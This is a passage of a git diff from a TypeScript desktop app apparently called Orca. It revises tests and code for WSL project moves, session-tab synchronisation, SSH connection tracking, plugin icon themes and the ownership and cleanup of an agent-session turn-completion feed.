pendingCreationChatDraftScopeKey(args.creationId) }) const abandoned = new AbortController() let ownershipTransferred = false @@ -99,7 +114,10 @@ export async function launchStructuredWorktreeSession( activate: args.shouldActivateOnCompletion, ...(args.shouldActivateOnCompletion ? {} - : { onHostDeclined: (host) => openBackgroundDeclinedTerminal(args, host) }), + : { + onHostDeclined: (host) => + openBackgroundDeclinedTerminal(args, host, pending?.heldChatMessage) + }), beforeOpen: () => { // Launch cancellation can beat pending-store updates during async reveal; check the signal too. if (abandoned.signal.aborted || isCancelled()) { diff --git a/src/renderer/src/lib/wsl-move-renderer-store-rewrites.test.ts b/src/renderer/src/lib/wsl-move-renderer-store-rewrites.test.ts index c4da57c490b..b1e4f60227d 100644 --- a/src/renderer/src/lib/wsl-move-renderer-store-rewrites.test.ts +++ b/src/renderer/src/lib/wsl-move-renderer-store-rewrites.test.ts @@ -96,16 +96,6 @@ afterEach(() => { }) describe('WSL move renderer store rewrites', () => { - it('changes nothing without a committed move', async () => { - seedStorage() - const before = { ...localStorage } - client.list.mockResolvedValue([]) - await (await loadRunner()).runWslMoveRendererStoreRewrites() - expect({ ...localStorage }).toEqual(before) - expect(localStorage.getItem(APPLIED)).toBeNull() - expect(client.record).not.toHaveBeenCalled() - }) - it('never throws when the move list is unavailable, and asks again later', async () => { vi.useFakeTimers() try { diff --git a/src/renderer/src/lib/wsl-moved-project-use-here.test.ts b/src/renderer/src/lib/wsl-moved-project-use-here.test.ts index ff78ebc7933..687bb8b41ae 100644 --- a/src/renderer/src/lib/wsl-moved-project-use-here.test.ts +++ b/src/renderer/src/lib/wsl-moved-project-use-here.test.ts @@ -29,16 +29,6 @@ function stubApi(result: WslMoveUseLocallyResult): ReturnType { return useProjectHereAgain } -/** Confirms, then returns the refusal notice: a dialog that only acknowledges. */ -async function refusalShown(): Promise { - const confirm = vi.fn(async (_options: ConfirmationDialogOptions) => true) - await bringWslMovedProjectBack(project, confirm) - // A toast for this sat behind the update notice, so nothing seemed to happen. - expect(confirm).toHaveBeenCalledTimes(2) - expect(confirm.mock.calls[1]?.[0]).toMatchObject({ acknowledgeOnly: true }) - return confirm.mock.calls[1]?.[0]?.description -} - describe('bringWslMovedProjectBack', () => { beforeEach(() => { vi.clearAllMocks() @@ -70,110 +60,9 @@ describe('bringWslMovedProjectBack', () => { expect(confirm.mock.calls[1]?.[0]?.description).not.toContain('other.md') }) - it("brings the project back when the unsaved files are another project's", async () => { - openFiles.push({ id: 'f2', relativePath: 'other.md', worktreeId: 'repo-2::/w', isDirty: true }) - const call = stubApi({ - released: true, - distro: 'Ubuntu', - repoIds: ['repo-1'], - folderWorkspaceIds: [] - }) - const confirm = vi.fn(async (_options: ConfirmationDialogOptions) => true) - await bringWslMovedProjectBack(project, confirm) - expect(call).toHaveBeenCalledOnce() - expect(confirm).toHaveBeenCalledTimes(1) - }) - it('does nothing unless the user confirms', async () => { const call = stubApi({ released: false, reason: 'not-moved' }) await bringWslMovedProjectBack(project, async () => false) expect(call).not.toHaveBeenCalled() }) - - it('says plainly what comes back and what stays on the host', async () => { - stubApi({ released: false, reason: 'not-moved' }) - const confirm = vi.fn(async (_options: ConfirmationDialogOptions) => false) - await bringWslMovedProjectBack(project, confirm) - const description = confirm.mock.calls[0]?.[0]?.description ?? '' - expect(description).toContain('Your code is not affected') - expect(description).toContain('stay on the host and do not come back') - expect(description).toContain('stays on the Ubuntu host until you remove it there') - expect(description).toContain('This window reloads') - }) - - it('asks main to bring the project back, and says nothing more on success', async () => { - const call = stubApi({ - released: true, - distro: 'Ubuntu', - repoIds: ['repo-1'], - folderWorkspaceIds: [] - }) - const confirm = vi.fn(async (_options: ConfirmationDialogOptions) => true) - await bringWslMovedProjectBack(project, confirm) - expect(call).toHaveBeenCalledWith({ kind: 'repo', id: 'repo-1', unsavedWorkspaceIds: [] }) - expect(confirm).toHaveBeenCalledTimes(1) - }) - - it('explains a refusal', async () => { - stubApi({ released: false, reason: 'superseded' }) - expect(await refusalShown()).toEqual(expect.stringContaining('A later move')) - }) - - it('names the newer move to bring back first', async () => { - // Undoing an older move said nothing about which newer one blocked it. - movedProjects.splice(0, movedProjects.length, { - kind: 'repo', - id: 'repo-9', - displayName: 'Repo 9' - }) - stubApi({ - released: false, - reason: 'superseded', - newerMove: { repoIds: ['repo-9'], folderWorkspaceIds: [] } - }) - expect(await refusalShown()).toBe( - 'Repo 9 moved to the Ubuntu host after this project. Use those on this computer again first, then this project.' - ) - }) - - it('asks to wait while a move of the distro still runs', async () => { - stubApi({ released: false, reason: 'move-running' }) - expect(await refusalShown()).toBe( - 'A move to the Ubuntu host is still running. Try again once it ends.' - ) - }) - - it("says to connect the host when its automations couldn't be turned off", async () => { - for (const reason of ['host-unreachable', 'failed'] as const) { - stubApi({ released: false, reason, detail: 'host-automations' }) - expect(await refusalShown()).toBe( - "Orca couldn't turn off this project's automations on the Ubuntu host, so they could run twice. Connect the host in Settings, then try again." - ) - } - }) - - it('says a host still being removed is left alone', async () => { - stubApi({ released: false, reason: 'failed', detail: 'host-removal-pending' }) - expect(await refusalShown()).toBe( - 'The Ubuntu host is still being removed, so Orca leaves it alone. Finish removing it in Settings, then try again.' - ) - }) - - it("adds that the host's terminals are asleep when the refusal came after their stop", async () => { - stubApi({ released: false, reason: 'failed', detail: 'journal', hostTerminalsAsleep: true }) - expect(await refusalShown()).toBe( - 'Could not bring this project back to this computer. Its terminals on the Ubuntu host were put to sleep. Open the project to resume them.' - ) - stubApi({ released: false, reason: 'host-still-running', hostTerminalsAsleep: true }) - expect(await refusalShown()).toBe( - "The Ubuntu host's copy of this project is still running terminals, so its agents could run twice. Wait a moment, then try again. Its terminals on the Ubuntu host were put to sleep. Open the project to resume them." - ) - }) - - it('says a host removed here but kept for another Orca needs re-adding', async () => { - stubApi({ released: false, reason: 'host-unreachable', detail: 'host-kept-for-peers' }) - expect(await refusalShown()).toBe( - 'Repo 1 moved to the Ubuntu host, which is still running for another Orca. Re-add the host to use it here again.' - ) - }) }) diff --git a/src/renderer/src/runtime/local-structured-session-retired-epoch-repair.test.ts b/src/renderer/src/runtime/local-structured-session-retired-epoch-repair.test.ts index 64ef9707364..c56f24d7c94 100644 --- a/src/renderer/src/runtime/local-structured-session-retired-epoch-repair.test.ts +++ b/src/renderer/src/runtime/local-structured-session-retired-epoch-repair.test.ts @@ -4,10 +4,8 @@ import { afterEach, describe, expect, it, vi } from 'vitest' import type { RuntimeMobileSessionTabsResult } from '../../../shared/runtime-types' import type { Tab } from '../../../shared/tab-types' import { applyLocalStructuredSessionTabSnapshots } from './local-structured-session-tabs-sync/snapshot-apply' -import { - resetLocalStructuredSessionVersionForTests, - localStructuredSessionEpochHistoryByWorktree -} from './local-structured-session-tabs-sync/inventory-generation-fence' +import { resetLocalStructuredSessionVersionForTests } from './local-structured-session-tabs-sync/inventory-generation-fence' + import type { WebSessionTabsSyncState } from './web-session-tabs-sync/state' import { resetWebSessionFocusIntentForTests } from './web-session-focus-intent' @@ -124,14 +122,6 @@ function replayUntilDrop( } describe('retired-epoch repair for a returning publisher', () => { - it('POSITIVE CONTROL: the same frame lands when no epoch has been retired', () => { - const applied = applyLocalStructuredSessionTabSnapshots(stateWithCoordinatorTerminal(), [ - frame(RENDERER_EPOCH, 7, 'claude-1') - ]) - - expect(chatTabs(applied)).toEqual(['Claude Chat']) - }) - it('drops the returning publisher and reports it to the repair lane', () => { const onRetiredEpochDrop = vi.fn() @@ -165,21 +155,4 @@ describe('retired-epoch repair for a returning publisher', () => { expect(chatTabs(redelivered)).toEqual([]) }) - - it('revives only the epoch authority names, leaving other generations fenced', () => { - const dropped = replayUntilDrop() - applyLocalStructuredSessionTabSnapshots( - dropped, - [frame(RENDERER_EPOCH, 7, 'claude-1')], - undefined, - undefined, - { authoritative: true } - ) - - // Authoritative census restored renderer epoch; delayed frames from displaced headless generation must remain retired. - const history = localStructuredSessionEpochHistoryByWorktree.get(WORKTREE) - expect(history?.current).toBe(RENDERER_EPOCH) - expect(history?.retired).toContain(HEADLESS_EPOCH) - expect(history?.retired).not.toContain(RENDERER_EPOCH) - }) }) diff --git a/src/renderer/src/runtime/runtime-client-events.test.ts b/src/renderer/src/runtime/runtime-client-events.test.ts index 2272e7f3f15..a72607070b3 100644 --- a/src/renderer/src/runtime/runtime-client-events.test.ts +++ b/src/renderer/src/runtime/runtime-client-events.test.ts @@ -104,3 +104,23 @@ describe('subscribeRuntimeClientEvents', () => { expect(onError).toHaveBeenCalledWith(expect.objectContaining({ message: expect.any(String) })) }) }) + +it('existing desktop reader ignores additive phone preference fields and events', async () => { + const { subscribe, respond } = recordRuntimeSubscription({ subscriptionId: 'old-reader' }) + stubRuntimeEnvironmentBridge({ subscribe }) + const onEvent = vi.fn(), + onError = vi.fn() + const subscription = await subscribeRuntimeClientEvents('env-old', onEvent, onError) + respond({ + ok: true, + result: { + type: 'ready', + subscriptionId: 'old-reader', + snapshot: { nativeChatQueueFollowUps: true } + } + }) + respond({ ok: true, result: { type: 'nativeChatQueueFollowUpsChanged', queueFollowUps: false } }) + expect(onEvent).not.toHaveBeenCalled() + expect(onError).not.toHaveBeenCalled() + subscription.unsubscribe() +}) diff --git a/src/renderer/src/runtime/structured-agent-session-turn-completion-feed.test.ts b/src/renderer/src/runtime/structured-agent-session-turn-completion-feed.test.ts index 020bd13e9ed..3afae137f67 100644 --- a/src/renderer/src/runtime/structured-agent-session-turn-completion-feed.test.ts +++ b/src/renderer/src/runtime/structured-agent-session-turn-completion-feed.test.ts @@ -17,7 +17,8 @@ vi.mock('./runtime-rpc-client', () => ({ import { getStructuredAgentSessionTurnCompletionFeed, - resetStructuredAgentSessionTurnCompletionFeedsForTests + resetStructuredAgentSessionTurnCompletionFeedsForTests, + structuredAgentSessionTurnCompletionFeedCountForTests as retainedCount } from './structured-agent-session-turn-completion-feed' function label(edge: AgentSessionAttentionEdge): string { @@ -56,6 +57,37 @@ function completion(turnId: string): AgentSessionTurnCompletion { } } +function emitEdges(value: Subscription): void { + value.emit({ type: 'completion', completion: completion('turn-live') }) + value.emit({ + type: 'prompt', + prompt: { + scope: completion('unused').scope, + sessionId: 'session-1', + promptId: 'approval-live', + raisedAt: 1 + } + }) +} + +function deferred(): { + promise: Promise + resolve: (value: T) => void + reject: (error: Error) => void +} { + let resolve: (value: T) => void = () => { + throw new Error('not initialized') + } + let reject: (error: Error) => void = () => { + throw new Error('not initialized') + } + const promise = new Promise((yes, no) => { + resolve = yes + reject = no + }) + return { promise, resolve, reject } +} + describe('structured turn completion feed (renderer)', () => { beforeEach(() => { vi.useFakeTimers() @@ -180,12 +212,21 @@ describe('structured turn completion feed (renderer)', () => { kind: 'environment', environmentId: 'env-1' }) - feed.activate() + let release = feed.activate() + queueMicrotask(() => { + release = feed.activate() + }) + release() await vi.advanceTimersByTimeAsync(30_000) expect(mocks.subscribe).not.toHaveBeenCalled() // An old host is a settled answer, not a fault; retrying would probe the relay forever. expect(mocks.supportsCapability).toHaveBeenCalledTimes(1) + release() + await vi.advanceTimersByTimeAsync(0) + feed.activate() + await vi.advanceTimersByTimeAsync(0) + expect(mocks.supportsCapability).toHaveBeenCalledTimes(2) }) it('subscribes a remote host that advertises the capability', async () => { @@ -210,6 +251,7 @@ describe('structured turn completion feed (renderer)', () => { const opened = subscription() release() + await vi.advanceTimersByTimeAsync(0) expect(opened.unsubscribe).toHaveBeenCalledTimes(1) // A late frame from the torn-down stream reaches nobody. @@ -240,11 +282,267 @@ describe('structured turn completion feed (renderer)', () => { expect(seen).toEqual(['turn-1']) }) - it('hands the same owner to every caller for one target and separate owners per target', () => { - const local = getStructuredAgentSessionTurnCompletionFeed({ kind: 'local' }) - expect(getStructuredAgentSessionTurnCompletionFeed({ kind: 'local' })).toBe(local) - expect( - getStructuredAgentSessionTurnCompletionFeed({ kind: 'environment', environmentId: 'env-1' }) - ).not.toBe(local) + it.each(['activation-first', 'listener-first'] as const)( + 'bounds distinct targets by live interest through %s cleanup and renewal', + async (order) => { + const held = getStructuredAgentSessionTurnCompletionFeed({ kind: 'local' }) + let release = held.activate() + const seen: string[] = [] + let unlisten = held.subscribe((edge) => seen.push(label(edge))) + const peer = getStructuredAgentSessionTurnCompletionFeed({ kind: 'local' }) + const releasePeer = peer.activate() + const peerSeen: string[] = [] + const unlistenPeer = peer.subscribe((edge) => peerSeen.push(label(edge))) + await vi.advanceTimersByTimeAsync(0) + for (let index = 0; index < 12; index += 1) { + getStructuredAgentSessionTurnCompletionFeed({ + kind: 'environment', + environmentId: `lookup-${index}` + }) + const feed = getStructuredAgentSessionTurnCompletionFeed({ + kind: 'environment', + environmentId: `env-${index}` + }) + const stop = feed.activate() + const edges: string[] = [] + const off = feed.subscribe((edge) => edges.push(label(edge))) + await vi.advanceTimersByTimeAsync(0) + emitEdges(subscription(index + 1)) + expect(edges).toEqual(['turn-live', 'prompt:approval-live']) + if (order === 'activation-first') { + stop() + off() + } else { + off() + stop() + } + await vi.advanceTimersByTimeAsync(0) + expect(subscription(index + 1).unsubscribe).toHaveBeenCalledTimes(1) + expect(retainedCount()).toBe(1) + } + expect(subscriptions).toHaveLength(13) + emitEdges(subscription()) + expect(seen).toEqual(['turn-live', 'prompt:approval-live']) + expect(peerSeen).toEqual(seen) + releasePeer() + unlistenPeer() + await vi.advanceTimersByTimeAsync(0) + emitEdges(subscription()) + expect(seen).toHaveLength(4) + expect(peerSeen).toHaveLength(2) + // Both main's independent effects and the combined release-first caller renew in one pass. + const oldRelease = release + const oldUnlisten = unlisten + if (order === 'activation-first') { + release() + unlisten() + } else { + unlisten() + release() + } + unlisten = peer.subscribe((edge) => seen.push(label(edge))) + release = held.activate() + oldRelease() + oldUnlisten() + await vi.advanceTimersByTimeAsync(0) + expect(subscriptions).toHaveLength(13) + expect(subscription().unsubscribe).not.toHaveBeenCalled() + emitEdges(subscription()) + expect(seen).toHaveLength(6) + expect(peerSeen).toHaveLength(2) + release() + emitEdges(subscription()) + await vi.advanceTimersByTimeAsync(0) + expect(seen).toHaveLength(6) + expect(retainedCount()).toBe(1) + expect(subscription().unsubscribe).toHaveBeenCalledTimes(1) + release = peer.activate() + await vi.advanceTimersByTimeAsync(0) + emitEdges(subscription(13)) + expect(seen).toHaveLength(8) + unlisten() + release() + await vi.advanceTimersByTimeAsync(0) + expect(retainedCount()).toBe(0) + expect(vi.getTimerCount()).toBe(0) + } + ) + + it('scopes deduplicated listener disposers to their original registration', async () => { + const feed = getStructuredAgentSessionTurnCompletionFeed({ kind: 'local' }) + feed.activate() + const listener = vi.fn() + const old = feed.subscribe(listener) + const duplicate = feed.subscribe(listener) + await vi.advanceTimersByTimeAsync(0) + emitEdges(subscription()) + expect(listener).toHaveBeenCalledTimes(2) + old() + const fresh = feed.subscribe(listener) + old() + duplicate() + emitEdges(subscription()) + expect(listener).toHaveBeenCalledTimes(4) + fresh() + emitEdges(subscription()) + expect(listener).toHaveBeenCalledTimes(4) + }) + + it.each(['capability', 'open'] as const)( + 'preserves queued %s progress and rejection retry across zero-activation renewal', + async (phase) => { + for (const reject of [false, true]) { + resetStructuredAgentSessionTurnCompletionFeedsForTests() + const probe = deferred() + const opening = deferred<{ unsubscribe: () => void }>() + if (phase === 'capability') { + mocks.supportsCapability.mockReturnValueOnce(probe.promise) + } else { + mocks.subscribe.mockImplementationOnce((_target, emit, fail, close) => { + subscriptions.push({ emit, fail, close, unsubscribe: vi.fn() }) + return opening.promise + }) + } + const feed = getStructuredAgentSessionTurnCompletionFeed({ + kind: 'environment', + environmentId: 'queued' + }) + let release = feed.activate() + const seen: string[] = [] + feed.subscribe((edge) => seen.push(label(edge))) + if (phase === 'open') { + await vi.advanceTimersByTimeAsync(0) + } + const start = subscriptions.length + const opened = { unsubscribe: vi.fn() } + if (reject) { + if (phase === 'capability') { + probe.reject(new Error('probe failed')) + } else { + opening.reject(new Error('open failed')) + } + // The rejection propagates through then before catch becomes continuation C. + await Promise.resolve() + } else if (phase === 'capability') { + probe.resolve(true) + } else { + opening.resolve(opened) + } + // Continuation C, renewal N, then final-release flush F. + queueMicrotask(() => { + release = feed.activate() + }) + release() + await vi.advanceTimersByTimeAsync(0) + if (reject) { + expect(vi.getTimerCount()).toBe(1) + await vi.advanceTimersByTimeAsync(250) + expect(subscriptions).toHaveLength(start + 1) + } else { + expect(subscriptions).toHaveLength(start + (phase === 'capability' ? 1 : 0)) + expect(opened.unsubscribe).not.toHaveBeenCalled() + } + emitEdges(subscription(subscriptions.length - 1)) + expect(seen).toEqual(['turn-live', 'prompt:approval-live']) + release() + await vi.advanceTimersByTimeAsync(0) + if (!reject && phase === 'open') { + expect(opened.unsubscribe).toHaveBeenCalledTimes(1) + } + expect(vi.getTimerCount()).toBe(0) + } + } + ) + + it.each([ + (value: Subscription) => value.emit({ type: 'end' }), + (value: Subscription) => value.fail(new Error('relay gone')), + (value: Subscription) => value.close() + ])('preserves terminal progress during grace and fences retired callbacks', async (drop) => { + const feed = getStructuredAgentSessionTurnCompletionFeed({ kind: 'local' }) + let release = feed.activate() + const seen: string[] = [] + let off = feed.subscribe((edge) => seen.push(label(edge))) + await vi.advanceTimersByTimeAsync(0) + const retired = subscription() + queueMicrotask(() => { + drop(retired) + emitEdges(retired) + }) + queueMicrotask(() => { + release = feed.activate() + }) + release() + await vi.advanceTimersByTimeAsync(250) + expect(subscriptions).toHaveLength(2) + expect(seen).toEqual([]) + emitEdges(subscription(1)) + expect(seen).toHaveLength(2) + release() + off() + await vi.advanceTimersByTimeAsync(0) + expect(retainedCount()).toBe(0) + release = feed.activate() + off = feed.subscribe((edge) => seen.push(label(edge))) + drop(retired) + emitEdges(retired) + await vi.advanceTimersByTimeAsync(5_000) + expect(subscriptions).toHaveLength(3) + emitEdges(subscription(2)) + expect(seen).toHaveLength(4) + release() + off() + }) + + it('retires pending opens, probes and queued cleanup on reset without touching replacement entries', async () => { + const probe = deferred() + mocks.supportsCapability.mockReturnValueOnce(probe.promise) + const remote = getStructuredAgentSessionTurnCompletionFeed({ + kind: 'environment', + environmentId: 'late' + }) + const releaseRemote = remote.activate() + releaseRemote() + await vi.advanceTimersByTimeAsync(0) + remote.activate() + probe.resolve(true) + await vi.advanceTimersByTimeAsync(0) + expect(subscriptions).toHaveLength(1) + const opening = deferred<{ unsubscribe: () => void }>() + mocks.subscribe.mockReturnValueOnce(opening.promise) + const held = getStructuredAgentSessionTurnCompletionFeed({ kind: 'local' }) + const oldRelease = held.activate() + const listener = vi.fn() + const oldOff = held.subscribe(listener) + oldRelease() + resetStructuredAgentSessionTurnCompletionFeedsForTests() + const replacement = getStructuredAgentSessionTurnCompletionFeed({ kind: 'local' }) + const releaseReplacement = replacement.activate() + const replacementListener = vi.fn() + const offReplacement = replacement.subscribe(replacementListener) + const release = held.activate() + const off = held.subscribe(listener) + const late = { unsubscribe: vi.fn() } + opening.resolve(late) + oldRelease() + oldOff() + releaseRemote() + await vi.advanceTimersByTimeAsync(0) + expect(late.unsubscribe).toHaveBeenCalledTimes(1) + expect(retainedCount()).toBe(1) + emitEdges(subscription(1)) + expect(subscriptions).toHaveLength(2) + expect(listener).toHaveBeenCalledTimes(2) + expect(replacementListener).toHaveBeenCalledTimes(2) + release() + off() + emitEdges(subscription(1)) + expect(listener).toHaveBeenCalledTimes(2) + expect(replacementListener).toHaveBeenCalledTimes(4) + releaseReplacement() + offReplacement() + await vi.advanceTimersByTimeAsync(0) + expect(retainedCount()).toBe(0) + expect(vi.getTimerCount()).toBe(0) }) }) diff --git a/src/renderer/src/runtime/structured-agent-session-turn-completion-feed.ts b/src/renderer/src/runtime/structured-agent-session-turn-completion-feed.ts index dbdd9d305d8..3bb18a6585e 100644 --- a/src/renderer/src/runtime/structured-agent-session-turn-completion-feed.ts +++ b/src/renderer/src/runtime/structured-agent-session-turn-completion-feed.ts @@ -25,9 +25,12 @@ export function structuredAgentSessionTurnCompletionFeedKey(target: RuntimeClien return target.kind === 'local' ? 'local' : `environment:${target.environmentId}` } -function createOwner(target: RuntimeClientTarget): OwnedTurnCompletionFeed { - const listeners = new Set() +function createOwner(target: RuntimeClientTarget, key: string): OwnedTurnCompletionFeed { + const listeners = new Map() const activations = new Set() + // Pending probes, opens and retries belong to this epoch until deferred stop runs. + let live = false + let pendingFlush = false let generation = 0 let handle: { unsubscribe: () => void } | null = null let reconnectTimer: ReturnType | null = null @@ -35,7 +38,7 @@ function createOwner(target: RuntimeClientTarget): OwnedTurnCompletionFeed { const deliver = (edge: AgentSessionAttentionEdge): void => { // A copy, so a listener that unsubscribes mid-fanout does not skip its neighbour. - for (const listener of Array.from(listeners)) { + for (const listener of Array.from(listeners.keys())) { try { listener(edge) } catch (error) { @@ -43,7 +46,7 @@ function createOwner(target: RuntimeClientTarget): OwnedTurnCompletionFeed { } } } - const active = (candidate: number): boolean => activations.size > 0 && candidate === generation + const active = (candidate: number): boolean => live && candidate === generation const clearReconnect = (): void => { if (reconnectTimer) { clearTimeout(reconnectTimer) @@ -70,7 +73,7 @@ function createOwner(target: RuntimeClientTarget): OwnedTurnCompletionFeed { } // Reconnect starts empty; host retains no missed-edge history to request. const loseConnection = (candidate: number): void => { - if (candidate !== generation) { + if (!active(candidate)) { return } generation += 1 @@ -90,7 +93,7 @@ function createOwner(target: RuntimeClientTarget): OwnedTurnCompletionFeed { } reconnectAttempt = 0 // An arm this build cannot name is dropped, not handed on half-read. - if (event.type === 'completion' || event.type === 'prompt') { + if (activations.size > 0 && (event.type === 'completion' || event.type === 'prompt')) { deliver(event) } }, @@ -144,44 +147,86 @@ function createOwner(target: RuntimeClientTarget): OwnedTurnCompletionFeed { .catch(() => loseConnection(candidate)) } const stop = (): void => { + live = false generation += 1 clearReconnect() dropHandle() reconnectAttempt = 0 } - return { + const flush = (): void => { + if (pendingFlush) { + return + } + pendingFlush = true + queueMicrotask(() => { + pendingFlush = false + if (owners.get(key) !== owner) { + return + } + if (activations.size === 0) { + stop() + } + if (activations.size === 0 && listeners.size === 0) { + owners.delete(key) + } + }) + } + const owner: OwnedTurnCompletionFeed = { activate: () => { const token = Symbol('turn-completion-feed') activations.add(token) - if (activations.size === 1) { + if (!live) { + live = true open() } return () => { - activations.delete(token) - if (activations.size === 0) { - stop() + if (activations.delete(token) && activations.size === 0) { + flush() } } }, subscribe: (listener) => { - listeners.add(listener) - return () => listeners.delete(listener) + const registration = listeners.get(listener) ?? Symbol('turn-completion-listener') + listeners.set(listener, registration) + return () => { + if (listeners.get(listener) !== registration) { + return + } + listeners.delete(listener) + flush() + } }, - stop + stop: () => { + stop() + listeners.clear() + activations.clear() + pendingFlush = false + } } + return owner } export function getStructuredAgentSessionTurnCompletionFeed( target: RuntimeClientTarget ): StructuredAgentSessionTurnCompletionFeedOwner { const key = structuredAgentSessionTurnCompletionFeedKey(target) - let owner = owners.get(key) - if (!owner) { - owner = createOwner(target) - owners.set(key, owner) + const acquire = (): OwnedTurnCompletionFeed => { + let owner = owners.get(key) + if (!owner) { + owner = createOwner(target, key) + owners.set(key, owner) + } + return owner } - return owner + return { + activate: () => acquire().activate(), + subscribe: (listener) => acquire().subscribe(listener) + } +} + +export function structuredAgentSessionTurnCompletionFeedCountForTests(): number { + return owners.size } export function resetStructuredAgentSessionTurnCompletionFeedsForTests(): void { diff --git a/src/renderer/src/runtime/sync-runtime-graph-parked-leaf.test.ts b/src/renderer/src/runtime/sync-runtime-graph-parked-leaf.test.ts index 35cf9daaa11..ceb066373e2 100644 --- a/src/renderer/src/runtime/sync-runtime-graph-parked-leaf.test.ts +++ b/src/renderer/src/runtime/sync-runtime-graph-parked-leaf.test.ts @@ -156,13 +156,6 @@ describe('syncRuntimeGraph cold-parked tabs', () => { expect(reportedTabIds(graph)).toContain(TAB_ID) }) - it('drops the leaf once the watcher is disposed (reveal, close, PTY exit, teardown)', async () => { - const graph = await captureGraph() - - expect(reportedPanes(graph)).not.toContainEqual(expect.objectContaining({ tabId: TAB_ID })) - expect(reportedTabIds(graph)).not.toContain(TAB_ID) - }) - // Stale paneIdByPtyId/tabPtyId survive these cases; tests must reject those false liveness proofs. it('drops the leaf when per-PTY disposal leaves only the pane-id slot behind', async () => { // PTY exit removes disposer but retains pane-ID slot and tabPtyId. diff --git a/src/renderer/src/runtime/web-runtime-session-tab-props.test.ts b/src/renderer/src/runtime/web-runtime-session-tab-props.test.ts index 1f971e859ef..2134abf6b4a 100644 --- a/src/renderer/src/runtime/web-runtime-session-tab-props.test.ts +++ b/src/renderer/src/runtime/web-runtime-session-tab-props.test.ts @@ -117,49 +117,6 @@ describe('setWebRuntimeTabProps', () => { }) }) - it('maps mirrored browser/editor unified ids before setting host tab props', async () => { - vi.stubGlobal('__ORCA_WEB_CLIENT__', false) - mocks.getState.mockReturnValue(ownedBy(RUNTIME_ROW)) - mocks.resolveHostSessionTabIdForWebSessionTab.mockImplementation( - (_state, args: { tabId: string }) => - args.tabId === 'local-browser-unified' ? 'host-browser-unified' : null - ) - const runtimeCall = vi.fn().mockResolvedValue({ id: 'p', ok: true, result: { updated: true } }) - stubRuntimeEnvironmentBridge({ call: runtimeCall }) - - expect( - setWebRuntimeTabProps({ - worktreeId: WORKTREE_ID, - tabId: 'local-browser-unified', - color: '#3b82f6' - }) - ).toBe(true) - - await vi.waitFor(() => expect(runtimeCall).toHaveBeenCalledTimes(1)) - expect(runtimeCall).toHaveBeenCalledWith({ - selector: ENVIRONMENT_ID, - method: 'session.tabs.setTabProps', - params: { - worktree: `id:${WORKTREE_ID}`, - tabId: 'host-browser-unified', - color: '#3b82f6' - }, - timeoutMs: 15_000 - }) - }) - - it('no-ops for a worktree with no runtime environment (local tab)', () => { - vi.stubGlobal('__ORCA_WEB_CLIENT__', false) - mocks.getState.mockReturnValue(ownedBy({ hostId: 'local' })) - const runtimeCall = vi.fn() - stubRuntimeEnvironmentBridge({ call: runtimeCall }) - - expect( - setWebRuntimeTabProps({ worktreeId: WORKTREE_ID, tabId: 'local-tab', color: '#fff' }) - ).toBe(false) - expect(runtimeCall).not.toHaveBeenCalled() - }) - it('refuses a local twin of the paired server instead of pushing to either host', () => { vi.stubGlobal('__ORCA_WEB_CLIENT__', false) mocks.getState.mockReturnValue(ownedBy({ hostId: 'local' }, RUNTIME_ROW)) diff --git a/src/renderer/src/ssh/ssh-connect-in-flight.test.ts b/src/renderer/src/ssh/ssh-connect-in-flight.test.ts index 8ee04100798..ae2f1170155 100644 --- a/src/renderer/src/ssh/ssh-connect-in-flight.test.ts +++ b/src/renderer/src/ssh/ssh-connect-in-flight.test.ts @@ -25,23 +25,6 @@ describe('ssh connect in-flight registry', () => { expect(isSshConnectInFlight('ssh-b')).toBe(false) }) - it('clears the target when the connect settles', () => { - beginSshConnect('ssh-a') - endSshConnect('ssh-a') - - expect(isSshConnectInFlight('ssh-a')).toBe(false) - }) - - it('notifies subscribers on both edges', () => { - const listener = vi.fn() - subscribeSshConnectInFlight(listener) - - beginSshConnect('ssh-a') - endSshConnect('ssh-a') - - expect(listener).toHaveBeenCalledTimes(2) - }) - // Duplicate begin must neither notify all host surfaces nor let its paired end clear a live acquisition. it('ignores a duplicate begin without re-notifying', () => { const listener = vi.fn() diff --git a/src/renderer/src/store/lookup-generation-sequence.ts b/src/renderer/src/store/lookup-generation-sequence.ts index ec31f6e47a1..148652c2e0a 100644 --- a/src/renderer/src/store/lookup-generation-sequence.ts +++ b/src/renderer/src/store/lookup-generation-sequence.ts @@ -1,7 +1,12 @@ -/** Use one never-reset process-wide lookup sequence. Per-key counters reused after eviction can let old replies impersonate current owners and discard newer work. Callers compare equality only, so sharing across caches/coordinators is safe. */ +/** Use one never-reset process-wide lookup sequence. Per-key counters reused after eviction can let old replies impersonate current owners and discard newer work. It only grows, so sharing across caches/coordinators is safe for equality and for "issued after" checks. */ let lookupGenerationSequence = 0 export function nextLookupGeneration(): number { lookupGenerationSequence += 1 return lookupGenerationSequence } + +/** Every request issued after this call gets a larger generation. */ +export function latestLookupGeneration(): number { + return lookupGenerationSequence +} diff --git a/src/renderer/src/store/plugin-icon-themes.test.ts b/src/renderer/src/store/plugin-icon-themes.test.ts index d1048c93615..15d0a4c760b 100644 --- a/src/renderer/src/store/plugin-icon-themes.test.ts +++ b/src/renderer/src/store/plugin-icon-themes.test.ts @@ -22,7 +22,9 @@ it('loads the selected icon theme and drops it when its plugin goes away', async ], icons: { folder: 0, file: 1 }, fileNames: {}, - fileExtensions: {} + fileExtensions: {}, + folderNames: { src: 0, broken: 1 }, + folderNamesExpanded: { src: 0, broken: 1 } } let listed = [metadata] const listeners: ((event: PluginChangeEvent) => void)[] = [] @@ -40,12 +42,14 @@ it('loads the selected icon theme and drops it when its plugin goes away', async const store = await import('./plugin-icon-themes') renderHook(() => store.usePluginIconThemeActivation(metadata.id)) - // The unusable second SVG gets no rule, so its slot falls back to the built-in icon. + // The unusable second SVG gets no rule, so its mappings fall back to the built-in icon. await waitFor(() => expect(store.useActivePluginIconTheme.getState().theme).toEqual({ icons: { folder: 0 }, fileNames: {}, - fileExtensions: {} + fileExtensions: {}, + folderNames: { src: 0 }, + folderNamesExpanded: { src: 0 } }) ) @@ -68,7 +72,9 @@ it('drops the previous icons when the next selected theme fails to load', async svgs: [''], icons: { file: 0 }, fileNames: {}, - fileExtensions: {} + fileExtensions: {}, + folderNames: {}, + folderNamesExpanded: {} } : null ), @@ -97,7 +103,9 @@ it('reloads the active icon theme when a same-metadata update changes its conten svgs: [''], icons: { file: 0 }, fileNames: {}, - fileExtensions: {} + fileExtensions: {}, + folderNames: {}, + folderNamesExpanded: {} })) vi.stubGlobal('api', { plugins: { diff --git a/src/renderer/src/store/plugin-icon-themes.ts b/src/renderer/src/store/plugin-icon-themes.ts index b1fd08841e1..d6284069f84 100644 --- 